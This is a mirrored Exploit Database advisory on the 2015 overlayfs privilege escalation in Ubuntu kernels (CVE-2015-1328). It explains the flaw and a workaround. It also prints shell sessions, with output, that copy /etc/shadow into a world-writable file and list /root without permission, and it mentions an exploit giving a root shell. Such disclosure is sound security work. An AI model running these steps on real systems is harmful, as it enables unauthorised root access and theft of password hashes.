Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Local Privilege Escalation (Access /etc/shadow)

• Exploit Database
• 15 阅读

• 作者： rebel
  日期： 2015-06-16
• 类别：

  • local
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/37293/

• The overlayfs filesystem does not correctly check file permissions when
  creating new files in the upper filesystem directory. This can be exploited
  by an unprivileged process in kernels with CONFIG_USER_NS=y and where
  overlayfs has the FS_USERNS_MOUNT flag, which allows the mounting of overlayfs
  inside unprivileged mount namespaces. This is the default configuration of
  Ubuntu 12.04, 14.04, 14.10, and 15.04 [1].
  
  If you don't want to update your kernel and you don't use overlayfs, a viable
  workaround is to just remove or blacklist overlayfs.ko / overlay.ko.
  
  Details
  ================================
  
  >From Documentation/filesystems/overlayfs.txt [2]:
  
  "Objects that are not directories (files, symlinks, device-special
  files etc.) are presented either from the upper or lower filesystem as
  appropriate.When a file in the lower filesystem is accessed in a way
  the requires write-access, such as opening for write access, changing
  some metadata etc., the file is first copied from the lower filesystem
  to the upper filesystem (copy_up)."
  
  The ovl_copy_up_* functions do not correctly check that the user has
  permission to write files to the upperdir directory. The only permissions
  that are checked is if the owner of the file that is being modified has
  permission to write to the upperdir. Furthermore, when a file is copied from
  the lowerdir the file metadata is carbon copied, instead of attributes such as
  owner being changed to the user that triggered the copy_up_* procedures.
  
  Example of creating a 1:1 copy of a root-owned file:
  
  (Note that the workdir= option is not needed on older kernels)
  
  user@...ntu-server-1504:~$ ./create-namespace
  root@...ntu-server-1504:~# mount -t overlay -o
  lowerdir=/etc,upperdir=upper,workdir=work overlayfs o
  root@...ntu-server-1504:~# chmod 777 work/work/
  root@...ntu-server-1504:~# cd o
  root@...ntu-server-1504:~/o# mv shadow copy_of_shadow
  (exit the namespace)
  user@...ntu-server-1504:~$ ls -al upper/copy_of_shadow
  -rw-r----- 1 root shadow 1236 May 24 15:51 upper/copy_of_shadow
  user@...ntu-server-1504:~$ stat upper/copy_of_shadow /etc/shadow|grep Inode
  Device: 801h/2049dInode: 939791Links: 1
  Device: 801h/2049dInode: 277668Links: 1
  
  Now we can place this file in /etc by switching "upper" to be the lowerdir
  option, the permission checks pass since the file is owned by root and root
  can write to /etc.
  
  user@...ntu-server-1504:~$ ./create-namespace
  root@...ntu-server-1504:~# mount -t overlay -o
  lowerdir=upper,upperdir=/etc,workdir=work overlayfs o
  root@...ntu-server-1504:~# chmod 777 work/work/
  root@...ntu-server-1504:~# cd o
  root@...ntu-server-1504:~/o# chmod 777 copy_of_shadow
  root@...ntu-server-1504:~/o# exit
  user@...ntu-server-1504:~$ ls -al /etc/copy_of_shadow
  -rwxrwxrwx 1 root shadow 1236 May 24 15:51 /etc/copy_of_shadow
  
  The attached exploit gives a root shell by creating a world-writable
  /etc/ld.so.preload file. The exploit has been tested on the most recent
  kernels before 2015-06-15 on Ubuntu 12.04, 14.04, 14.10 and 15.04.
  
  It is also possible to list directory contents for any directory on the system
  regardless of permissions:
  
  nobody@...ntu-server-1504:~$ ls -al /root
  ls: cannot open directory /root: Permission denied
  nobody@...ntu-server-1504:~$ mkdir o upper work
  nobody@...ntu-server-1504:~$ mount -t overlayfs -o
  lowerdir=/root,upperdir=/home/user/upper,workdir=/home/user/work
  overlayfs /home/user/o
  nobody@...ntu-server-1504:~$ ls -al o 2>/dev/null
  total 8
  drwxrwxr-x 1 root nogroup 4096 May 24 16:33 .
  drwxr-xr-x 8 root nogroup 4096 May 24 16:33 ..
  -????????? ? ???? .bash_history
  -????????? ? ???? .bashrc
  d????????? ? ???? .cache
  -????????? ? ???? .lesshst
  d????????? ? ???? linux-3.19.0
  
  
  Credit
  ================================
  Philip Pettersson, Samsung SDS Security Center
  
  References
  ================================
  [1] https://git.launchpad.net/~ubuntu-kernel/ubuntu/+source/linux/+git/vivid/commit/?id=78ec4549
  [2] https://www.kernel.org/doc/Documentation/filesystems/overlayfs.txt
  [3] http://people.canonical.com/~ubuntu-security/cve/2015/CVE-2015-1328.html
  
  
  
  ## EDB Note: Exploit Mirror - https://www.exploit-db.com/exploits/37292